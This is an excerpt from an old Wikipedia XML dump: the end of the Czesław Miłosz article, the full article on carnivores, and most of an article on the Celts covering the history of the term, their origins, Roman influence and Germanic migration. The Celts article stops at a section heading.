* ''Kroniki'' / ''Chronicles'' ([[1987]])
* ''Dalsze okolice'' / ''Farther Surroundings'' ([[1991]])
* ''Zaczynając od moich ulic'' / ''Starting from My Streets'' ([[1985]])
* ''Metafizyczna pauza'' / ''The Metaphysical Pause'' ([[1989]])
* ''Poszukiwanie ojczyzny'' ([[1991]])
* ''Rok myśliwego'' ([[1991]])
* ''Na brzegu rzeki'' / ''Facing the River'' ([[1994]])
* ''Szukanie ojczyzny'' / ''In Search of a Homeland'' ([[1992]])
* ''Legendy nowoczesności'' / ''Modern Legends'' ([[1996]])
* ''Życie na wyspach'' / ''Life on Islands'' ([[1997]])
* ''Piesek przydrożny'' / ''Roadside Dog'' ([[1997]])
* ''Abecadlo Miłosza'' / ''Milosz's Alphabet'' ([[1997]])
* ''Inne Abecadło'' / ''A Further Alphabet'' ([[1998]])
* ''Wyprawa w dwudziestolecie'' / ''An Excursion through the Twenties and Thirties'' ([[1999]])
* ''To'' / ''It'' ([[2000]])
* ''Orfeusz i Eurydyka'' ([[2003]])
* ''O podróżach w czasie'' / ''On Time Travel'' ([[2004]])

==Books on or relating to==
* ''Striving Towards Being: The Letters of Thomas Merton and Czesław Miłosz'', edited by [[Robert Faggen]] (Farrar Straus &amp; Giroux, [[1996]])

==External links==
{{wikiquote}}
*[http://www.milosz.pl/ Milosz.pl] &amp;mdash; official website of Czesław Miłosz (Polish)
*[http://www.nytimes.com/2004/08/15/obituaries/15milosz.html?ex=1093233600&amp;en=f0273926b47a1810&amp;ei=5006&amp;partner=ALTAVISTA1 Czesław Miłosz, Poet and Nobelist Who Wrote of Modern Cruelties, Dies at 93] (''New York Times'')
*[http://www.cbc.ca/stories/2004/08/14/milosv040814 Nobel laureate Czesław Miłosz dies] (CBC News)
*[http://news.bbc.co.uk/1/hi/entertainment/arts/3564812.stm Nobel laureate poet Miłosz dies] (BBC News)
*[http://economist.com/displaystory.cfm?story_id=3104407 Czesław Miłosz Obituary] (The Economist)
*[http://www.berkeley.edu/news/media/releases/2004/08/15_milosz.shtml Nobel poet Czesław Miłosz of Poland and Berkeley, one of the icons of the Solidarity movement, dies] (UC Berkeley Press Release)
*[[Open Directory Project]]: [http://dmoz.org/Arts/Literature/Authors/M/Milosz,_Czeslaw/ Czesław Miłosz]
*[http://www.ukprofind.com/milosz2/ Biography of Czesław Miłosz]
*[http://ibiblio.org/ipa/milosz/ Miłosz reading his poems in English and in Polish] [http://ibiblio.org/ipa/ at the Internet Poetry Archive] [http://ibiblio.org on ibiblio.org]
*[http://sunsite.berkeley.edu/VideoTest/miloszlp.ram Miłosz reading his poems in English at UC Berkeley, February 3, 2000]  (online audio file)
*[http://www.lib.berkeley.edu/MRC/audiofiles.html#milosz Miłosz reading his poems in English at UC Berkeley, April 4, 1983 (with Robert Hass and Robert Pinksy]  (online audio file)
*Information relating to Miłosz as the winner of the [http://nobelprize.org/literature/laureates/1980/index.html 1980 Nobel Prize in Literature] (official site)
 

[[Category:1911 births|Miłosz, Czesław]]
[[Category:2004 deaths|Miłosz, Czesław]]
[[Category:Polish diplomats|Miłosz, Czesław]]
[[Category:Naturalized citizens of the United States|Miłosz, Czesław]]
[[Category:Nobel Prize in Literature winners|Miłosz, Czesław]]
[[Category:Righteous Among the Nations|Miłosz, Czesław]]
[[Category:Polish Nobel Prize winners|Miłosz, Czesław]]
[[Category:Polish writers|Miłosz, Czesław]]
[[Category:Polish political writers|Miłosz, Czesław]]
[[Category:Polish poets|Miłosz, Czesław]]

[[zh-min-nan:Czesław Miłosz]]
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    </revision>
  </page>
  <page>
    <title>Carnivore</title>
    <id>6543</id>
    <revision>
      <id>42005420</id>
      <timestamp>2006-03-03T04:16:22Z</timestamp>
      <contributor>
        <username>Banana04131</username>
        <id>379197</id>
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      <comment>characteristics and formatting</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Lion snarling.jpg|thumb|250px|right|The [[lion]] is a well known truly carnivorous member of the order [[Carnivora]].]]
A '''carnivore''' (KAR-nih-vohr) meaning &quot;meat eater&quot; ([[Latin]] ''carn'' = flesh + ''vorare'' = to devour) is an [[animal]] that [[eat]]s a [[diet (nutrition)|diet]] consisting solely of [[meat]], whether it comes from live animals or dead ([[scavenger|scavenging]]). Some animals are considered carnivores even if their diets contain a very small amount of meat. Those animals that subsist on a truly meat diet are refered to as obligate carnivores,

The word also refers to the [[Mammalia|mammals]] of the Order [[Carnivora]], many (but not all) of which fit the first definition. [[Bear]]s are an example of members of ''Carnivora'' that are not true carnivores. Carnivores that eat primarily (or only) [[insect]]s are called [[insectivore]]s.

There are also several species of [[carnivorous plant]]s. Though most are primarily [[insectivorous]], some digest [[nematode]]s and other small [[invertebrate]]s.

Many [[dinosaur]]s were obligate carnivores, namely most &amp;ndash;if not all&amp;ndash; [[theropod]]s, like ''[[Tyrannosaurus rex]]''. [[Sauropod]]s and [[ornithischia]]ns were herbivorous.
=== Characteristics of Carnivores ===
[[Image:Emperor penguins.jpg|thumb|250px|right|In contrast to the lion, these [[Emperor penguin]]s show that teeth and claws aren't necessary to be a carnivore. They feed on crustaceans, fish, squid, and other small marine life.]]
Many characteristis associated with carnivores include teeth, claws, and status as a [[hunter]]. In truth, these assumptions are misleading as many carnivores do not hunt and are [[scavengers]]. Thus they do not have the characteristis associated wiht carnivores and hunters.

=== Obligate carnivores===
An ''obligate'' or ''true carnivore'' is an animal that subsists on a diet consisting ''only'' of meat. They may consume other products presented to them, especially [[animal product]]s like [[cheese]] and [[bone marrow]], or sweet sugary substances like [[honey]] and [[syrup]], but, as these products are not essential, they do not need to consume these on a regular basis. True carnivores lack the [[physiology]] required for the efficient [[digestion]] of vegetable matter, and in fact some carnivorous mammals eat vegetation specifically as an [[emetic]].

Domesticated carnivores are often recommended to have vegetable supplements (or such containing processed pet foods) as meats designed for human consumption may be lacking in vital nutrients.

== List of Carnivores ==
*[[Felidae|Felines]], ranging from [[cat|domestic cat]]s to [[lion]]s, [[tiger]]s, and other large predators.
*Some [[Canidae|canines]], such the [[Grey wolf]] but not the [[Red wolf]] or [[coyote]]. [[dog|Domestic dogs]] are broadly considered carnivorous but the classification is often debated.
*[[Hyena]]s
*Some [[Mustelidae|mustelid]]s, including [[ferret]]s
*[[Polar Bear]]s
*[[Pinniped]]s ([[pinniped|seal]]s, [[sea lion]]s, [[walrus]]es, etc.)
*[[Birds of prey]], including [[hawk]]s, [[eagle]]s, [[falcon]]s and [[owl]]s
*Scavenger birds, like [[vulture]]s
*Several species of [[waterfowl]] including [[gull]]s, [[penguin]]s, [[pelican]]s, [[stork]]s, and [[heron]]s 
*[[Anura]]ns ([[frog]]s and [[toad]]s)
*[[Snake]]s
*Some [[lizard]]s
*[[Crocodilia]]ns
*[[Shark]]s and many other species of [[fish]]
*[[Toothed whale]]s
*[[Octopus]]es&lt;!--this is the correct plural!!--&gt; and [[squid]]
*[[Spider]]s and [[scorpions]]
*[[Mantophasmatodea]], [[Reduviidae]] and other insects
*[[Cnidarian]]s 

&lt;!--order mammals, birds, amphibians, reptiles, fish &amp; whales, arthropods and other invertebrates--&gt;

==See also==
*[[Cannibalism]]
*[[Insectivore]]
*[[Carnivorous plant]]
===Compare and contrast===
*[[Herbivore]]
*[[Omnivore]]
*[[List of vores]]

{{Biological_interaction-footer}}

[[Category:Eating behaviors]]

[[zh-min-nan:Chia̍h-bah tōng-bu̍t]]
[[bn:মাংসাশী]]
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    </revision>
  </page>
  <page>
    <title>Celtic Mythology</title>
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:''This article is about the European people. For the tool, see [[celt (tool)]].''
[[Image:Ccross.png|thumb|right|170px|A [[Celtic cross]].]]

The term '''''Celts''''', pronounced /{{IPA|kɛlt}}/, &lt;ref&gt;&quot;&lt;cite&gt;The pronunciation of the word remains ambiguous, however, a conflict between its Greek root, ''keltoi'', and its path through French, where ''celtique'' is pronounced with a soft ''c'': 'sell-TEEK'. Although many dictionaries, including the OED, prefer the soft ''c'' pronunciation, most students of Celtic culture prefer the hard ''c'': 'KELL-tik', in acknowledgement of its Greek origin.&lt;/cite&gt;&quot; MacKillop, J. ''&quot;Dictionary of Celtic Mythology.&quot;'' New York: Oxford University Press, 1998. ISBN 0198691572&lt;/ref&gt; 
refers to any of a number of ancient peoples in Europe using the [[Celtic languages]], which form a branch of [[Indo-European languages]], as well as others whose language is unknown but where associated cultural traits such as [[Celtic art]] are found in [[archaeological]] evidence. Historical theories were developed that these factors were indicative of a common origin, but later theories of culture spreading to differing indigenous peoples have recently been supported by genetic studies.

Though the spread of the [[Roman empire]] led to continental Celts adopting [[Roman culture]], the development of [[Celtic Christianity]] in [[Ireland]] and [[Great Britain|Britain]] brought an early [[medieval]] renaissance of Celtic art between [[400]] and [[1200]]. [[Antiquarian]] interest from the [[17th century]] led to the term '''Celt''' being developed, and rising [[nationalism]] brought Celtic revivals from the [[19th century]] in areas where the use of Celtic languages had continued.

Today, '''&quot;Celtic&quot;''' is often used to describe the languages and respective cultures of '''[[Ireland]]''', '''[[Scotland]]''', '''[[Wales]]''', '''[[Cornwall]]''', the '''[[Isle of Man]]''' and the [[France|French]] region of '''[[Brittany]]''' (see the ''[[Modern Celts]]'' article), but correctly corresponds to the [[Celtic language]] family - in which are still spoken: Scottish, Irish and [[Manx]] ([[Gaelic]] languages) and [[Welsh people|Welsh]], [[Breton language|Breton]] and [[Cornish]] ([[Brythonic language]]s).

==Development of the term &quot;Celt&quot;==
The first literary reference to the Celtic people, as ''keltoi'' or hidden people, is by the [[Greece|Greek]] [[historian]] [[Hecataeus]] in [[517 BC]]. He locates the ''Keltoi'' tribe in Rhenania (West/Southwest Germany). According to [[Greek mythology]], ''[[Celtus]]'' was the son of [[Heracles]] and ''[[Celtine]]'', the daughter of ''[[Bretannus]]''. Celtus became the primogenitor of Celts &lt;ref&gt;&quot;&lt;cite&gt;Celtine, daughter of Bretannus, fell in love with Heracles 1 and hid away his kine (the cattle of Geryon) refusing to give them back to him unless he would first content her. From Celtus 1 the Celtic race derived their name.&lt;/cite&gt;&quot; {{cite web | title= (Ref.: Parth. 30.1-2) | url=http://homepage.mac.com/cparada/GML/Heracles1.html | accessdate=December 5 | accessyear=2005 }}&lt;/ref&gt;. In Latin ''Celta'', in turn from [[Herodotus]]' word for the Gauls, ''Keltoi''. The Romans used ''Celtae'' to refer to continental Gauls, but apparently not to insular Celts, which were divided into [[Goidelic|Goidhels]] and [[Britons]], and possibly other peoples. This is likely due to the possibility that, at those times, the term &quot;Celta/Keltos&quot; was tied to those cultures or people descendant from the Central Europe Celts, while no ties were known to the insular people (especially the [[Gael|Gaels]] whose language was extremely different from that of [[Brythonic]] Celts).

The English word is modern, attested from [[1707]] (Lhuyd, p. 290). &lt;ref&gt;Lhuyd, E. ''&quot;Archaeologia Britannica; An account of the languages, histories, and customs of the original inhabitants of Great Britain.&quot;'' (reprint ed.) Irish University Press, 1971. ISBN 0716500310&lt;/ref&gt; 
In the late [[17th century]] the work of scholars such as [[Edward Lhuyd]] brought academic attention, then in the [[18th century]] the interest in &quot;[[primitivism]]&quot; which led to the idea of the &quot;[[noble savage]]&quot; brought a wave of enthusiasm for all things Celtic and [[Druid]]ic. The &quot;Irish revival&quot; came after the ''[[Catholic Emancipation]] Act of 1829'' as a conscious attempt to demonstrate an Irish national identity, and with its counterpart in other countries subsequently became the &quot;Celtic revival&quot;. 

Nowadays &quot;Celt&quot; is usually pronounced as {{IPA|/kɛlt/}} and &quot;Celtic&quot; as {{IPA|/'kɛltɪk/}} (in [[International Phonetic Alphabet|IPA]]) when referring to the ethnic group and its languages, while the pronunciation {{IPA|/'sɛltɪk/}} remains in use mainly for certain sports teams (eg. the [[National Basketball Association|NBA]] team, [[Boston Celtics]], and the [[Scottish Premier League|SPL]] side, [[Celtic F.C.]], in [[Glasgow]]). (The pronunciation with /s/ reflects historical [[palatalization]] of the letter 'C' when it occurs before 'I' or 'E' in words of [[Latin]] origin; in the [[Classical antiquity|Classical]] era Latin 'C' was always pronounced as /k/. The modern pronunciation with /k/ is a reversion to the original, whereas the pronunciation with /s/ has not been reverted.) The word spelt as &quot;Celtic&quot; is (arguably) English, as the Latin was &quot;Celticus&quot; or &quot;Celticum&quot;, the Welsh is &quot;Celtaidd&quot;, and the Irish/Scottish Gaelic is &quot;Ceilteach&quot;. By this argument, a pronunciation with /s/ should therefore be acceptable.

The term &quot;Celt&quot; or &quot;Celtic&quot; can be used in several senses: it can denote a group of peoples who speak or descend from speakers of Celtic languages; or the people of [[prehistoric]] and early historic Europe who share common cultural traits which are thought to have originated in the [[Hallstatt culture|Hallstatt]] and [[La Tène culture]]s. In contemporary terms, there are typically six nations defined as 'Celtic Nations'. To be defined as a Celtic nation, that nation must have ownership of a Celtic language. The first six are usually defined as [[Ireland]], [[Wales]], [[Scotland]], [[Cornwall]], the [[Isle of Man]], and [[Brittany]]. [[Galicia (Spain)|Galicia]] Is also considered a celtic nation as gaelic language still survives in people and places names, while [[Asturias]] sometimes is considered to be modern Celtic nations based on the survival of Celtic traditions similar to the traditions of other Celtic nations, however, the Celtic language has not survived in either. [[England]] retains some Celtic influences yet hasn't retained a Celtic language (even Cornwall became fully English speaking during the 18th century) and thus falls outside of categorisation as a Celtic nation.  The Brythonic language of pre-Anglo Celtic speaking peoples influences [[dialect]]s of some of its regions further from the south east, particularly those bordering Scotland and Wales and in the south west, the best known of which are [[Cumbric]] which was spoken from [[Strathclyde]] to [[Derbyshire]] as recently as the [[11th century]], and the language centred on [[Devon]]&amp;nbsp;&amp;mdash; both languages are under-going a modern revival.  Other areas of Europe are associated with being Celtic as well, including [[France]], which traces its roots to the [[Gauls]]. In Scotland, the [[Scottish Gaelic language|Gaelic language]] traces at least some of its roots to [[migration]] and settlement by the Irish [[Dalriada]]/[[Scotti]]. Due to the settlement of English speaking Angles in the lowlands, which&amp;nbsp;&amp;mdash; among other things&amp;nbsp;&amp;mdash; reduced the spread of the Gaelic language which was supplanting Brythonic in Scotland, Scots Gaelic survives only in the country's northern and western fringes in the area which comprised of the Scot kingdom of Dalriada.

The use of the word 'Celtic' as a valid [[umbrella term]] for the pre-Roman peoples of [[Britain]] has been challenged by a number of writers — including [[Simon James (archaeologist)|Simon James]], formerly of the [[British Museum]]. His book ''[[The Atlantic Celts - Ancient People Or Modern Invention?]]'' makes the point that the [[Ancient Rome|Romans]] never used the term 'Celtic' in reference to the peoples of the [[Atlantic Archipelago|Atlantic archipelago]], i.e. the [[British Isles]] and [[Ireland]], and points out that the modern term &quot;Celt&quot; was coined as a useful umbrella term in the early [[18th century]] to distinguish the non-English inhabitants of the [[archipelago]] when [[England]] united with [[Scotland]] in [[1707]] to create [[the United Kingdom]]. [[Nationalists]] in [[Scotland]], [[Ireland]] and [[Wales]] looked for a way to differentiate themselves from England and assert their right to independence. James then argues that, despite the obvious linguistic connections, [[archaeology]] does not suggest a united Celtic culture and that the term is misleading, no more (or less) meaningful than 'Western European' would be today.

This is somewhat misleading, however, since the Romans and Greeks did describe the Atlantic and [[continental]] Celts as being related to each other, having [[military alliance]]s (and rivalries) with one another, sharing similar languages and [[tradition]]s, as well as having a common religion and [[priest]] class. Additionally, archeological evidence shows quite clearly that the Atlantic and continental Celts were engaged in commerce with each other via regular [[trade route]]s. No one on either side of the debate argues that Celtic people have ever been a single [[homogenous]] political or social unit, but to argue that the Atlantic Celts were not Celts at all simply because hostile Romans never described them as such betrays a rather unscholarly [[bias]].

Miranda Green, author of [[Celtic Goddesses]], describes archaeologists as finding &quot;a certain homogeneity&quot; in the traditions in the area of Celtic habitation including Britain and Ireland — She sees the inhabitants of the British Isles and Ireland as having become thoroughly Celticized by the time of the Roman arrival, mainly through spread of culture rather than a movement of people.

In his book ''Iron Age Britain'', [[Barry Cunliffe]] concludes that &quot;...there is no evidence in the British Isles to suggest that a population group of any size migrated from the continent in the first millennium BC...&quot;. Cunliffe tempers his remarks by pointing out that absence of evidence is not evidence of absence, but modern archaeological thought tends to disparage the idea of large population movements without facts to back them up, a caution which appears to be vindicated by some genetic studies. In other words, Celtic culture in the Atlantic Archipelago and continental Europe could have emerged through the peaceful convergence of local tribal cultures bound together by networks of [[trade]] and [[kinship]]&amp;nbsp;&amp;mdash; not by war and conquest. This type of peaceful [[convergence]] and [[cooperation]] is actually relatively common among tribal peoples; other well known examples of the phenomenon include the [[Six Nations]] of the [[Iroquois League]] and the [[Nuer]] of [[East Africa]]. The ancient Celts are thus best depicted as a loose and highly diverse collection of indigenous tribal societies bound together by trade, a common [[druidic]] religion, and similar political institutions&amp;nbsp;&amp;mdash; but each having its own local language and traditions. 

Michael Morse in the conclusion of his book ''How the Celts came to Britain'' concedes that the concepts of a broad Celtic linguistic area and recognizably Celtic art have their uses, but argues that the term implies a greater unity than existed. Despite such problems he suggests that the term Celt is probably too deep-rooted to be replaced and&amp;nbsp;&amp;mdash; what is more important&amp;nbsp;&amp;mdash; it has the definition that we choose to give it. The problem is that the wider public reads into the term quite [[anachronistic]] concepts of ethnic unity that no one on either side in the academic debate holds.

In any case, it can safely be argued that, given the fact that both Goidhels and Brythonic Celts spoke related languages, and shared many cultural, social and religious traits, many going very deep, they were indeed all members of a related group, even in the absence of early recognition of the fact and despite the linguistic and political differences between various sub groups. 

===Population genetics===
With the information gathered recently by population [[geneticist]]s, it is becoming increasingly clear that the old idea of large-scale replacement by newer invaders is sometimes a misleading concept. The Celtic ethnicity debate took off at a particularly early stage in population genetic studies which is a science still in its very early stages of development. Taking this into account along with the fact that these limited studies are dealing only with particular sections of DNA (eg. [[MtDNA]], [[Y chromosome]]; no studies can currently be carried out regarding [[X chromosome]] inheritance), the results can not be considered conclusive in any way. 

In his book ''Neanderthal'', archaeologist Douglas Palmer refers to genetic research conducted across Europe, then states the original modern genetic group in Europe arrived between 9,000 and 5,000 years ago with the spread of [[farming]], displacing the earlier [[hunter gatherer]] populations. Such displacement occurred by population explosion, since farming is capable of supporting up to 60 times greater population than the hunter-gatherer lifestyle in the same area:

:''&quot;None of Europe's subsequent historic upheavals - even catastrophic wars and [[famine]]s - has seriously dented the old pattern set by the influx of farmers. The [[Goths]], [[Huns]] and Romans have come and gone without any significant impact on the ancient gene map of Europe&quot;''.

It seems futile to suggest people who were once part of a wider Celtic cultural group cannot be considered Celtic, any more than their direct descendants in places like [[Devon]] or [[Cumbria]] cannot be considered English in modern times.

The [[Y-chromosomes]] of populations of the so called Celtic countries have been found in one study to primarily belong to [[haplogroup]] R1B, which makes them descendants partially of the first people to migrate into north-western Europe after the last major [[ice age]]. According to the most recently published studies of European haplogroups, around half of the current male population of that portion of [[Eurasia]] is a descendant of the R1B haplogroup.{{fact}}

== Origins and geographical distribution ==
[[Image:Celts 800-400BC.PNG|right|thumb|264px|The green area suggests a possible extent of (proto-)Celtic influence around [[1000 BC]]. The orange area shows the region of birth of the [[La Tène culture|La Tène]] style. The red area indicates an idea of the possible region of Celtic influence around [[400 BC]].&lt;!--note the date, don't change unless you know what you are doing: not greatest extent: ''Art of the Celts'' shows iron age finds at Culbin Sands and Deskford, Banff, in NE Scotland, and 'Dark Age' Celtic art further north--&gt;]] 

The Celtic language family is a branch of the larger [[Indo-European languages|Indo-European family]], which leads some scholars to a hypothesis that the original speakers of the Celtic proto-language may have arisen in the [[Black Sea|Pontic]]-[[Caspian Sea|Caspian]] [[steppes]] (see [[Kurgan]]). However,  as the Celts enter history from around [[600 BC]], they are already split into several languages groups, and spread over much of Central Europe, the [[Iberian peninsula]], [[Ireland]] and [[Britain]], and studies now suggest that some of the Celtic peoples - including the ancestors of all the modern Celtic nations - had a largely [[pre-Celtic]] genetic ancestry, shared with the [[Basque people]] and possibly going back to the Palaeolithic&lt;ref&gt;&quot;&lt;cite&gt;In April last year, research for a BBC programme on the Vikings revealed strong genetic links between the Welsh and Irish Celts and the Basques of northern Spain and south France.&lt;br /&gt;It suggested a possible link between the Celts and Basques, dating back tens of thousands of years. &lt;/cite&gt;&quot; [http://news.bbc.co.uk/1/hi/wales/2076470.stm English and Welsh are races apart]&lt;/ref&gt;.

Some scholars think that the [[Urnfield|Urnfield culture]] represents an origin for the Celts as a distinct cultural branch of the Indo-European family. This culture was preeminent in central [[Europe]] during the late [[Bronze Age]], from ca. [[1200 BC]] until [[700 BC]], itself following the [[Unetice culture|Unetice]] and [[Tumulus cultures|Tumulus]] cultures. The Urnfield period saw a dramatic increase in population in the region, probably due to innovations in technology and agricultural practices. The spread of [[Iron Age|iron-working]] led to the development of the [[Hallstatt culture]] directly from the Urnfield (c. [[700 BC|700]] to [[500 BC]]). [[Proto-Celtic]], the latest common ancestor of all known Celtic languages, is thought to have been spoken at the time of the late Urnfield or early Hallstatt cultures, in the early [[1st millennium BC]].

The spread of the Celtic languages to Britain and to Iberia would have occurred during the first half of the 1st millennium,  the earliest [[chariot burial]]s in Britain dating to ca. [[500 BC]]. Over the centuries they developed into the separate [[Celtiberian language|Celtiberian]], [[Goidelic languages|Goidelic]] and [[Brythonic languages]]. Whether Goidelic and Brythonic are descended from a common Insular-Celtic language, or if they reflect two separate waves of migration is disputed. The La Tène culture, in any case, can be associated with the [[Gaul]]s, but it is entirely too late for a candidate for the Proto-Celtic culture.

The Hallstatt culture was succeeded by the [[La Tène culture]],  and during the final stages of the [[Iron Age]] gradually transformed into the explicitly Celtic culture of early historical times. The La Tène culture was distributed around the upper reaches of [[Danube|the Danube]], [[Switzerland]], [[Austria]], southern and central [[Germany]], eastern France, Bohemia and Moravia, and parts of Hungary.
The technologies, decorative practices and metal-working styles of the La Tène were to be very influential on the continental Celts. The La Tène style was highly derivative from the Greek, Etruscan and Scythian decorative styles with whom the La Tène settlers frequently traded. 

Additional forays into [[Greece]] and central [[Italy]] during the historical period did not result in settlement, though the same movement that brought Celtic invaders to Greece pushed on through to Anatolia, where they settled as the [[Galatia]]ns.

As there is no archaeological evidence for large scale invasions in some of the other areas, one current school of thought holds that Celtic language and culture spread to those areas by contact rather than invasion. However, the Celtic invasions of Italy, Greece, and western Anatolia are well documented in Greek and Latin history. Examine the  Map of Celtic Lands&lt;ref&gt;{{cite web | title= Map of Celtic Lands | url=http://www.resourcesforhistory.com/map.htm | accessdate=December 5 | accessyear=2005 }}&lt;/ref&gt;for more information.

[[Stonehenge]] and the other [[megalith|megalithic monuments]] long predate the Iron Age Celtic culture, but Genetic evidence indicates that the Celtic populations of the Atlantic Archipelago have been relatively stable for at least 6,000 years, in which case the modern Celts would be the direct descendants of their builders.  There is no evidence that they used these sites as areas of worship from the Iron Age on, however, and indeed most evidence suggest that the [[Druidic]] Celtic religion(s) preferred to use groves of [[Oak]] trees as places of worship.  The connection between these monuments and the Celts largely stems from 18th century romantics such as William Stukely.

== Celts in Ireland and Britain ==
The indigenous populations of Britain and Ireland today are primarily descended from the ancient peoples that have always inhabited these lands.  As to their culture, little is known but remnants remain primarily in the naming of certain geographical features, such as the rivers [[Clyde]], [[Tamar]], [[Thames]] and [[Tyne]].  By the Roman period most of the inhabitants of the isles of [[Ireland]] and [[Great Britain]] (the ''ancient [[Britons]]'') were speaking [[Goidelic]] or [[Brythonic]] languages, close counterparts to Gallic languages spoken on the European mainland. Historians explained this as the result of successive [[invasion]]s from the European continent by diverse Celtic-speaking peoples over the course of several centuries. In [[1946]] the Celtic scholar [[T. F. O'Rahilly]] published his extremely influential model of the [[early history of Ireland]] which postulated four separate waves of Celtic invaders. What languages were spoken by the peoples [[Ireland]] and [[Britain]] before the arrival of the Celts is unknown.

[[Image:Celtic dagger, scabbard and buckle.JPG|thumb|right|Celtic dagger found in Britain.]]

Later research indicated that the language and culture had developed gradually and continuously, and in Ireland no archaeological evidence was found for large intrusive groups of Celtic immigrants, suggesting to historians such as [[Colin Renfrew]] that the native Late Bronze Age inhabitants gradually absorbed influences to create &quot;Celtic&quot; culture. The very few continental [[La Tène culture]] style objects which had been found in Ireland could have been imports, or the possessions of a few rich immigrants. [[Julius Caesar]] had written of people in Britain who came from Belgium (the [[Belgae]]), but archaeological evidence which was interpreted in the [[1930s]] as confirming this was contradicted by later interpretations and it was suggested that there might have been only a handful of élite Belgae in Britain. In the [[1970s]] this model was popularised by [[Colin Burgess]] in his book ''[[The Age of Stonehenge]]'' which theorised that Celtic culture in Great Britain &quot;emerged&quot; rather than resulted from invasion and that the Celts were not invading aliens, but the descendants of the people of Stonehenge.

More recently a number of [[genetics|genetic]] studies have supported this model of culture being absorbed by native populations. The study by Cristian Capelli, David Goldstein and others at [[University College, London]] showed that genes associated with Gaelic names in [[Ireland]] and [[Scotland]] are also common in [[Wales]], [[Cornwall]] and most parts [[England]], and are similar to the genes of the [[Basque people]], who speak a non-[[Indo-European]] language. This similarity supported earlier findings in suggesting a largely pre-Celtic genetic ancestry, possibly going back to the [[Paleolithic]]. They suggest that 'Celtic' culture and the Celtic language were imported to Britain by cultural contact not mass invasions, either by Indo-Europeans bringing [[farming]] or by Celts in [[600 BC]]. Some recent studies have suggested that, contrary to long-standing beliefs, the Teuton tribes did not wipe out the Romano-British of England but rather, over the course of six centuries, conquered the native [[Brythonic]] people of what is now England and [[Gododdin|south east Scotland]] and imposed their culture and language upon them, in a manner similar to the Irish spread over the west of Scotland.

==Roman influence ==
At the dawn of history in Europe, the Celts in present-day [[France]] were known as Gauls. Their descendants were described by [[Julius Caesar]] in his ''[[Gallic Wars]]''. There was also an early Celtic presence in northern [[Italy]]. Other Celtic tribes invaded Italy, establishing there a city they called Mediolanum (modern [[Milan]]) and sacking [[Rome]] itself in [[390 BC]] following the [[Battle of the Allia]]. A century later the defeat of the combined [[Samnium|Samnite]], Celtic and [[Etruscan civilization|Etruscan]] alliance by the Romans in the [[Samnite Wars|Third Samnite War]] sounded the end of the Celtic domination in Europe, but it was not until [[192 BC]] that the Roman armies conquered the last remaining independent Celtic kingdoms in Italy. 

Under Caesar the Romans conquered Celtic Gaul, and from [[Claudius]] onward the Roman empire absorbed parts of the Celtic [[British Isles]]. Roman local government of these regions closely mirrored pre-Roman '[[tribe|tribal]]' boundaries, and archaeological finds suggest native involvement in local government. [[Latin]] was the official language of these regions after the conquests.

The native peoples under Roman rule became Romanized and keen to adopt Roman ways. [[Celtic art]] had already incorporated classical influences, and surviving Gallo-Roman pieces interpret classical subjects or keep faith with old traditions despite a Roman overlay.  

===Examples of Romanization===
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Roman influence led directly to the decline of the druidic priests. Prior to Roman conquests, the druids exercised enormous spiritual and political power among the celtic peoples. The druidic religion was seen as a major impediment to the &quot;Romanization&quot; of the newly conquered celts. Thus began a deliberate policy on the part of the Roman conquerors to replace the old celtic political structure with Roman institutions. The elimination of the druidic class was instrumental to cementing Roman authority. 

This led the birth of many Romano-celtic deities, as old celtic gods took on new Latin names and aspects of Roman divinities, and began to be worshipped alongside the more traditional Jovian pantheon.

Another example of romanization is the change in family social structure from an egalitarian and polytheistic type to a patriarchical structure like the roman concept of [[Pater familias]] where &quot;a mans house is his castle&quot; and the eldest or highest ranking man has almost absolute authority over the family. This cultural practice has persisted in many ways and can still be found amongst the cultural descendants of those who were conquered by the Romans.

===Celtic Christianity ===
While the regions under Roman rule adopted Christianity along with the rest of the Roman empire, unconquered areas of [[Scotland]] and [[Ireland]] moved from [[Celtic polytheism]] to [[Celtic Christianity]] which was a major source of missionary work in other parts of Britain and central Europe. This brought the early [[medieval]] renaissance of [[Celtic art]] between [[390]] and [[1200]], developing many of the styles now thought of as typically Celtic, and found through much of Ireland and Britain, including the north-east and far north of Scotland, [[Orkney Islands|Orkney]] and [[Shetland Islands]]. This was brought to an end by [[Roman Catholic]] and [[Normans|Norman]] influence, though the [[Celtic languages]] and some minor influences of the art continued.

==Celts pushed west by Germanic migration==
Celts were pushed westwards by successive waves of [[Germanic tribes|Germanic]] invaders, perhaps themselves at times pressured by [[Huns]] and [[Scythians]] or simply population pressures in their homeland of [[Scandinavia]] and Northern Germany. With the [[fall of the Roman Empire]] the Celts of [[Gaul]], Iberia and [[Britannia]] were &quot;conquered&quot; by tribes speaking [[Germanic language]]s.

Elsewhere, the Celtic populations were assimilated by others, leaving behind them only a legend and a number of place names such as [[Bohemia]], after the Boii tribe which once lived there, or the Kingdom of [[Belgium]], after the Belgae, a Celtic tribe of Northern Gaul and south-eastern England. Their mythology has been absorbed into the folklore of half a dozen other countries. For instance, the famous Medieval English Arthurian tale of ''[[Sir Gawain and the Green Knight]]'' is almost certainly partially derived from the medieval Irish text &lt;cite&gt;Fled Bricrend&lt;/cite&gt; &lt;cite&gt;(The Feast of [[Briccriu|Bricriu]])&lt;/cite&gt;.

Argument rages in the academic world as to whether the Celts in England were mostly wiped out/pushed west as the lack of evidence for influence of the Celts on [[Anglo-Saxon]] society suggests, or whether the Teuton migration consisted merely of the social elite and that the genocide was cultural rather than physical due to such relatively few numbers of Anglo-Saxons mixing with the far larger native population, enabled to do so due to the civil strife in Britain after the Roman withdrawal and the unity of the incoming invaders.  Some recent DNA studies have suggested that the population of England maintains a predominantly ancient British element, equal in most parts to Cornwall and Wales.  The general indigenous population of Yorkshire, East Anglia and the Orkney and Shetland Islands are those populations with the least traces of ancient British continuation &lt;ref&gt;&quot;&lt;cite&gt;By analyzing 1772 Y chromosomes from 25 predominantly small urban locations,we found that different parts of the British Isles have sharply different paternal histories; the degree of population replacement and genetic continuity shows systematic variation across the sampled areas.&lt;/cite&gt;&quot; [http://www.familytreedna.com/pdf/capelli2_CB.pdf A Y Chromosome Census of the British Isles (pdf)]&lt;/ref&gt;.  Ironically, it may be Viking genetic influence and not Anglo-Saxon which has had a more profound impact on British bloodlines.

== Celtic social system and arts ==
